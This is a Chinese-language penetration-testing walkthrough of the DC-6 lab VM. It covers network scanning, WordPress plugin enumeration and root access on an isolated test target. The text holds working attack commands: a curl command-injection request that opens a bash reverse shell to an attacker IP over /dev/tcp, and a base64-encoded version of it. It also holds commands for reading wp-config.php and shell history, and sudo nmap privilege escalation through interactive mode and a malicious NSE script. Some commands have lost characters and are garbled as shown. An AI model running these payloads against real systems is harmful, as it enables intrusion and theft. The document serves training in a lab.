
1. 项目概述与核心价值最近在整理渗透测试的学习笔记翻到了DC-6这个经典的靶机。它之所以让我印象深刻不是因为它的难度有多高而是因为它非常“接地气”地串联起了几个在真实环境中极为常见的攻击链从Web应用漏洞入手利用内容管理系统CMS的插件漏洞获取初始立足点再通过信息收集发现内部服务的薄弱环节最终借助一个看似普通的系统工具完成权限提升。整个过程就像一次完整的“红队”演练每一步都充满了实战的味道。如果你正在学习渗透测试或者想了解一个攻击者是如何从外部一步步“拿下”一台服务器的那么跟着我一起手把手复现DC-6的渗透过程绝对会让你收获满满。这个靶机完美地模拟了一个使用WordPress搭建的网站环境并巧妙地植入了真实世界中出现过的安全漏洞非常适合用来巩固从信息收集到提权的完整技能树。简单来说这次实战的核心路径可以概括为发现目标 - 扫描探测 - 利用WordPress插件漏洞获取Web Shell - 横向移动与信息收集 - 利用Nmap的特定参数实现本地提权 - 获取最终权限。其中WordPress插件漏洞的利用和Nmap的提权是两大亮点也是我们重点剖析的部分。我会在复现过程中穿插讲解每个命令背后的意图、可能遇到的坑以及我的排查思路确保你看完就能自己动手操作一遍。2. 环境准备与靶机初始化2.1 靶机与攻击机配置DC-6靶机通常以虚拟机镜像如OVA格式的形式提供我们需要将其导入到VMware Workstation或VirtualBox中。攻击机我选择的是Kali Linux因为它预装了我们需要用到的绝大多数工具。这里有几个关键配置点需要注意网络设置务必确保靶机和Kali攻击机处于同一网络模式。我强烈推荐使用“NAT模式”或“仅主机模式”。在VMware中你可以为两台虚拟机选择同一个自定义的VMnet网络例如VMnet8在VirtualBox中可以为两台机器都选择“仅主机网络”适配器。这样做的目的是构建一个隔离的、可控的实验环境避免扫描到你的真实家庭网络设备造成不必要的干扰或风险。注意启动DC-6靶机后它通常会通过DHCP自动获取一个IP地址。我们的第一个任务就是找到它。不要在虚拟机设置里手动指定IP以免和靶机自身的网络配置冲突。Kali Linux更新在开始之前建议更新一下Kali的软件包列表虽然大部分工具都已就绪但保持最新总没坏处。你可以执行sudo apt update命令。但通常对于DC-6这种老靶机不更新也完全没问题。2.2 发现目标靶机IP地址靶机启动后我们首要任务是定位它的IP地址。最常用的方法是使用netdiscover或arp-scan进行二层网络扫描。方法一使用netdiscover在Kali终端输入sudo netdiscover -r 192.168.1.0/24这里的-r参数指定了扫描的网段。你需要将192.168.1.0/24替换成你虚拟机网络的实际网段。如果你不确定可以先运行ip addr或ifconfig查看Kali自身的IP比如Kali的IP是192.168.111.128那么网段很可能是192.168.111.0/24。netdiscover会主动发送ARP请求并列出所有在线设备的IP和MAC地址。在结果中寻找一个非你Kali本机的、陌生的IP那很可能就是DC-6靶机。通常VMware的MAC地址前三位是00:0c:29VirtualBox的是08:00:27这可以帮助你快速识别。方法二使用arp-scansudo arp-scan --localnet这个命令更简洁它会扫描整个本地网络并返回IP和MAC地址对应表。同样在结果中筛选出靶机IP。我踩过的坑有时候靶机启动较慢或者网络服务尚未完全就绪你可能第一次扫描不到。我的经验是启动靶机后等待1-2分钟再执行扫描命令。如果还是找不到检查虚拟机的网络适配器设置是否一致并确认靶机系统是否已完全启动观察虚拟机窗口是否有登录提示符。3. 信息收集与漏洞初步探测3.1 端口与服务扫描拿到靶机IP假设为192.168.111.135后下一步就是进行全面的端口扫描摸清目标开放了哪些服务。Nmap是我们的主力工具。首先进行一次快速扫描确认目标是否存活以及最常用的端口nmap -sV -O 192.168.111.135-sV探测服务版本。这非常重要知道了服务及其具体版本号我们才能去搜索对应的已知漏洞。-O尝试识别操作系统。这能帮助我们判断后续提权可能利用的方向例如Linux内核漏洞。扫描结果通常会显示开放了80端口HTTP和22端口SSH。这非常典型一个Web服务器和一个远程管理入口。为了更全面我们再进行一次全端口扫描以防有服务运行在非标准端口上nmap -p- 192.168.111.135-p-表示扫描所有65535个端口。这个扫描会比较慢但为了不漏掉任何线索在实战中往往是必要的。对于DC-6通常80和22就是全部了。3.2 Web应用指纹识别与目录枚举既然开放了80端口我们自然要打开浏览器访问一下http://192.168.111.135。映入眼帘的很可能就是一个WordPress网站。为了确认我们可以使用whatweb工具whatweb http://192.168.111.135这个命令会快速识别网站使用的技术栈比如PHP版本、Web服务器类型Apache/Nginx、以及最关键的——是否使用了WordPress及其主题、插件信息。接下来我们需要对网站目录进行枚举寻找隐藏的管理后台、配置文件、备份文件等。这里我推荐使用gobuster它速度很快gobuster dir -u http://192.168.111.135 -w /usr/share/wordlists/dirb/common.txtdir指定进行目录爆破模式。-u指定目标URL。-w指定字典文件。Kali自带的common.txt是个不错的起点。扫描结果中你一定会发现/wp-admin/、/wp-login.php等典型的WordPress路径。这证实了我们的判断。同时留意是否有像/backup/、/admin/、/config/这类可能泄露敏感信息的目录。实操心得在目录枚举时不要只满足于默认字典。可以结合whatweb的结果如果发现特定CMS如WordPress可以使用针对性的字典比如Seclists项目中的Discovery/Web-Content/CMS/wordpress.txt这样发现后台或插件目录的效率会高很多。命令如下gobuster dir -u http://192.168.111.135 -w /usr/share/seclists/Discovery/Web-Content/CMS/wordpress.txt4. WordPress渗透与初始访问获取4.1 定位漏洞入口Activity Monitor插件通过对网站页面的手动浏览和目录枚举我们很可能在某个页面或者通过whatweb的详细扫描发现网站使用了名为“Activity Monitor”的插件。这个插件在历史上存在过远程代码执行漏洞。我们的突破口就在这里。首先尝试访问插件可能存在的路径例如http://192.168.111.135/wp-content/plugins/activity-monitor/。如果目录列表被禁用我们可以通过搜索公开的漏洞信息来确认。已知该插件的一个漏洞存在于其ajax.php文件中该文件未对用户输入进行充分过滤导致命令注入。4.2 利用命令注入漏洞获取反向Shell漏洞利用的核心是向ajax.php文件发送一个特制的POST请求在参数中注入系统命令。我们需要让靶机连接回我们的攻击机从而获得一个交互式的Shell。步骤1在Kali上准备接收连接我们需要使用netcat监听一个端口等待靶机反向连接回来。nc -lvnp 4444-l监听模式。-v详细输出。-n直接使用IP地址不进行DNS解析。-p 4444指定监听端口为4444。你可以换成其他未被占用的端口。步骤2构造并发送恶意请求我们使用curl命令来发送HTTP POST请求。注入的命令需要将/bin/bash反弹到我们的Kali机器上。curl -X POST http://192.168.111.135/wp-content/plugins/activity-monitor/activity-monitor.php -d actionruncommand| bash -c bash -i /dev/tcp/192.168.111.128/4444 01命令拆解与避坑点-X POST指定使用POST方法。-d指定POST数据。数据内容是actionruncommand...这是漏洞利用的关键参数。注入的命令是| bash -c bash -i /dev/tcp/192.168.111.128/4444 01开头的|是管道符在命令注入中常用来拼接并执行后续命令。bash -c用于执行引号内的字符串作为命令。bash -i启动一个交互式的bash。 /dev/tcp/192.168.111.128/4444将标准输出和标准错误都重定向到TCP连接。这里必须将192.168.111.128替换成你Kali机器的真实IP。01将标准输入重定向到标准输出这样就建立了一个完整的交互通道。最大的坑命令中的特殊字符如、、在HTTP请求和Shell中都有特殊含义必须确保它们被正确传递。使用curl的-d参数它会自动对数据进行URL编码通常能处理好。如果失败可以尝试将整个命令用单引号包裹或者使用--data-urlencode参数。如果请求成功你会看到之前运行nc的终端窗口里出现了来自靶机的连接并获得了一个www-data用户的Shell。这标志着我们成功突破了边界获得了在靶机上的初始执行权限。备用方案如果上述curl命令因编码问题失败我们可以使用一个更稳健的方法先将反弹Shell的命令进行Base64编码然后在靶机上解码执行。这样可以避免很多特殊字符问题。在Kali上生成编码后的命令echo -n bash -i /dev/tcp/192.168.111.128/4444 01 | base64假设输出结果为YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvNDQ0NCAwPiYx构造新的curl命令curl -X POST http://192.168.111.135/wp-content/plugins/activity-monitor/activity-monitor.php -d actionruncommand| echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvNDQ0NCAwPiYx | base64 -d | bash这个命令会在靶机上执行将Base64字符串解码然后通过管道传给bash执行。5. 权限提升前的内部侦查5.1 稳定Shell与基础信息收集通过漏洞获取的Shell往往是不稳定的比如按CtrlC会中断整个连接。我们第一步就是将其升级为一个功能完整的TTY Shell。python3 -c import pty; pty.spawn(/bin/bash)或者如果靶机没有python3python -c import pty; pty.spawn(/bin/bash)如果Python也没有可以尝试script命令或者exec bash等方法。获得稳定Shell后开始收集系统信息id查看当前用户和所属组。whoami确认当前用户名。uname -a查看内核版本为可能的本地提权漏洞做准备。pwd查看当前目录。ls -la列出当前目录文件特别是隐藏文件。cat /etc/passwd查看系统用户列表。cat /etc/issue或cat /etc/*release查看系统发行版信息。5.2 寻找用户凭证与配置文件在Web服务器上我们当前用户是www-data权限很低。我们需要寻找更高权限的凭证或可利用的配置。检查Web目录仔细查看WordPress的配置文件wp-config.php这里面可能包含数据库密码。find /var/www -name wp-config.php -exec cat {} \;数据库密码虽然不能直接用于系统登录但有时管理员会在多个地方使用相同密码这是一个突破口。检查历史命令查看当前用户的历史命令可能泄露敏感操作或密码。history cat ~/.bash_history查找敏感文件在整个系统中搜索包含密码、密钥的文件。find / -type f -name *.txt -o -name *.conf -o -name *config* -o -name *.php 2/dev/null | grep -v /proc | grep -v /sys | head -302/dev/null是为了过滤掉大量“权限不足”的错误提示让输出更清晰。检查计划任务查看是否有任何以root身份运行的计划任务并且其脚本或二进制文件我们是否有写权限。crontab -l ls -la /etc/cron* /var/spool/cron/ cat /etc/crontab在DC-6靶机中通过以上信息收集我们通常会在某个位置比如/home目录下的用户文件夹或者/var/www下的某个文件发现一个文本文件其中包含了一组用户名和密码。这组凭证很可能就是用于SSH登录或者WordPress后台的。6. 横向移动与SSH登录6.1 破解密码与尝试登录假设我们找到了一个文件credentials.txt里面有一行类似admin:password123的内容。但更常见的情况是你找到的是一份密码字典或者一个用户名列表。在DC-6中经典桥段是找到一个名为words.txt的密码字典和一个用户列表。我们需要尝试用这些密码来登录SSH服务。首先用找到的用户名比如mark,graham,sarah等尝试SSH。ssh mark192.168.111.135系统会提示输入密码。这时我们可以手动尝试几个简单密码或者如果密码字典很大就需要借助工具进行爆破。但在靶机环境中为了不造成拒绝服务我们通常手动尝试文件里给出的那几个密码即可。在DC-6的设计中密码就藏在words.txt里并且与某个用户名对应。关键技巧当你通过SSH登录进一个用户例如mark后第一件事就是检查该用户是否有sudo权限。sudo -l这个命令会列出当前用户允许以root权限运行哪些命令。输入当前用户的密码后如果看到类似(root) NOPASSWD: /usr/bin/nmap的输出那我们的提权之路就豁然开朗了这表示用户mark可以不需要密码就以root身份运行nmap命令。7. 利用Nmap进行本地提权7.1 Sudo权限分析与利用原理sudo -l的输出是我们提权的黄金门票。(root) NOPASSWD: /usr/bin/nmap意味着我们可以执行sudo nmap [参数]并且这个nmap进程会以root身份启动。老版本的Nmap具体是5.XX版本之前带有一个交互式模式可以通过!符号在Nmap内部执行系统命令。而由于整个Nmap进程是root权限那么通过它执行的命令也将继承root权限。这就是我们提权的核心原理。7.2 提权操作步骤确认Nmap版本首先确认靶机上的nmap是否支持交互模式。nmap --version如果版本号是4.x或更早那么大概率支持。即使版本稍高也值得一试。以Root权限启动Nmap交互模式sudo nmap --interactive如果成功提示符会变成nmap。在交互模式中执行Shell在nmap提示符下输入!后跟命令可以执行系统命令。nmap !bash或者nmap !sh验证提权成功执行完上一步后你应该会获得一个新的Shell提示符。输入以下命令验证whoami如果返回root那么恭喜你提权成功你也可以通过id命令再次确认。7.3 替代方案通过Nmap执行脚本提权如果--interactive模式被禁用或者不起作用我们还有另一条路。Nmap支持使用--script参数执行Lua脚本。我们可以编写一个简单的Lua脚本来启动一个root权限的Shell。在靶机上创建一个Lua脚本用我们已有的用户权限比如markecho os.execute(/bin/bash) /tmp/shell.nse这个脚本的内容就是执行/bin/bash。以Root权限运行Nmap并执行该脚本sudo nmap --script/tmp/shell.nse当Nmap以root权限加载并执行这个Lua脚本时os.execute函数会以同样的root权限启动一个bash从而实现提权。我踩过的坑有些系统环境可能对通过!执行命令做了限制或者Nmap版本已经移除了交互模式。此时--script方法就是更可靠的备选方案。务必记住在渗透测试中同一个目标往往有多种路径一种方法行不通时要立刻思考替代方案。8. 获取最终Flag与总结反思8.1 寻找Flag文件提权到root后最后一步就是寻找靶机中设置的“Flag”文件这通常是渗透测试挑战完成的标志。Flag文件一般放在root用户的家目录或者/root目录下。cd /root ls -la cat flag.txt或者有些靶机喜欢把最终flag放在/root目录下的一个特定文件名文件中如proof.txt、root.txt或flag.txt。将其内容读取出来就是本次挑战的最终成果。8.2 实战复盘与核心要点回顾整个DC-6的渗透流程它清晰地展示了一个层次化的攻击链信息收集是基石没有全面的端口扫描和Web目录枚举就很难发现WordPress及其插件更无从谈起漏洞利用。漏洞利用需精准Activity Monitor插件的漏洞利用要求我们对HTTP请求构造和命令注入有清晰的理解。利用失败时对命令进行Base64编码是绕过字符过滤的实用技巧。权限提升靠配置从www-data到普通用户依赖于在系统中找到的明文凭证或弱密码。而从普通用户到root则完全依赖于错误配置的sudo权限。sudo -l是提权前必须检查的命令。工具特性即武器Nmap的交互模式本是一个便利功能但在配置不当的sudo规则下就成了威力巨大的提权工具。这提醒我们在安全加固时不仅要关注软件本身的漏洞更要关注权限配置的合理性。给新手的建议在复现过程中不要只满足于运行命令拿到flag。尝试去理解每一个命令为什么要这样写如果换一种写法会怎样。例如反弹Shell的命令有多种写法可以都试试查找文件时find命令的参数组合可以如何优化。只有多思考、多动手、多踩坑才能真正把知识内化为渗透测试的直觉。DC-6只是一个开始但它构建的思维框架适用于更多、更复杂的真实场景。